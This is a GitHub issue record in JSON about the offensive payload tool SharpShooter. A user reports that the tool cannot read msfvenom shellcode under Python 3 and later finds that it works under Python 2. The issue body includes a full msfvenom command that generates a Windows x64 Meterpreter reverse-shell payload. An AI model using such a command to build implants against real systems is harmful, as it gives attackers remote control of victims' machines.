{"action":"created","issue":{"url":"https://api.github.com/repos/mdsecactivebreach/SharpShooter/issues/7","repository_url":"https://api.github.com/repos/mdsecactivebreach/SharpShooter","labels_url":"https://api.github.com/repos/mdsecactivebreach/SharpShooter/issues/7/labels{/name}","comments_url":"https://api.github.com/repos/mdsecactivebreach/SharpShooter/issues/7/comments","events_url":"https://api.github.com/repos/mdsecactivebreach/SharpShooter/issues/7/events","html_url":"https://github.com/mdsecactivebreach/SharpShooter/issues/7","id":305015607,"number":7,"title":"Format of raw shellcode from `msfvenom`","user":{"login":"jmhickman","id":6581761,"avatar_url":"https://avatars1.githubusercontent.com/u/6581761?v=4","gravatar_id":"","url":"https://api.github.com/users/jmhickman","html_url":"https://github.com/jmhickman","followers_url":"https://api.github.com/users/jmhickman/followers","following_url":"https://api.github.com/users/jmhickman/following{/other_user}","gists_url":"https://api.github.com/users/jmhickman/gists{/gist_id}","starred_url":"https://api.github.com/users/jmhickman/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jmhickman/subscriptions","organizations_url":"https://api.github.com/users/jmhickman/orgs","repos_url":"https://api.github.com/users/jmhickman/repos","events_url":"https://api.github.com/users/jmhickman/events{/privacy}","received_events_url":"https://api.github.com/users/jmhickman/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":3,"created_at":"2018-03-14T04:01:36Z","updated_at":"2018-03-21T03:06:21Z","closed_at":null,"author_association":"NONE","body":"I'm trying to generate a shellcode for a stageless sharpshooter payload, and I can't seem to format the shellcode in a way that it likes.\r\n\r\nIf I use `msfvenom -p windows/x64/meterpreter/reverse_winhttp LHOST=<host> LPORT=80 Prependmigrate=true -f raw -o meter.out`  \r\nthen I get an error during the interactive payload creation like  \r\n\r\n    [*] Provide path to raw shellcode, e.g. ./sc.raw\r\n    ./meter.out\r\n    'utf-8' codec can't decode byte 0xfc in position 0: invalid start byte  \r\n\r\nOkay, so I used the `-f python` and `-f hex` and the like, and it complains thus:  \r\n\r\n    [*] Provide path to raw shellcode, e.g. ./sc.raw\r\n    ./meter_hex.out\r\n    a bytes-like object is required, not 'str'  \r\n\r\nSo I can't seem to satisfy its requirement. What weird thing am I doing wrong here? Or is this a python2/3 deal?  \r\n\r\n    python -V  \r\n    Python 3.6.4`\r\n\r\n\r\n"},"comment":{"url":"https://api.github.com/repos/mdsecactivebreach/SharpShooter/issues/comments/374822480","html_url":"https://github.com/mdsecactivebreach/SharpShooter/issues/7#issuecomment-374822480","issue_url":"https://api.github.com/repos/mdsecactivebreach/SharpShooter/issues/7","id":374822480,"user":{"login":"jmhickman","id":6581761,"avatar_url":"https://avatars1.githubusercontent.com/u/6581761?v=4","gravatar_id":"","url":"https://api.github.com/users/jmhickman","html_url":"https://github.com/jmhickman","followers_url":"https://api.github.com/users/jmhickman/followers","following_url":"https://api.github.com/users/jmhickman/following{/other_user}","gists_url":"https://api.github.com/users/jmhickman/gists{/gist_id}","starred_url":"https://api.github.com/users/jmhickman/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jmhickman/subscriptions","organizations_url":"https://api.github.com/users/jmhickman/orgs","repos_url":"https://api.github.com/users/jmhickman/repos","events_url":"https://api.github.com/users/jmhickman/events{/privacy}","received_events_url":"https://api.github.com/users/jmhickman/received_events","type":"User","site_admin":false},"created_at":"2018-03-21T03:06:21Z","updated_at":"2018-03-21T03:06:21Z","author_association":"NONE","body":"When I explicitly run SharpShooter.py with the python2 interpreter, the stageless payload creation works as expected.\r\n\r\nI note from the latest commits though that py3 support is at least intended, so it seems there's a bug in the python3 support."}}
{"actor":{"display_login":"jmhickman"}}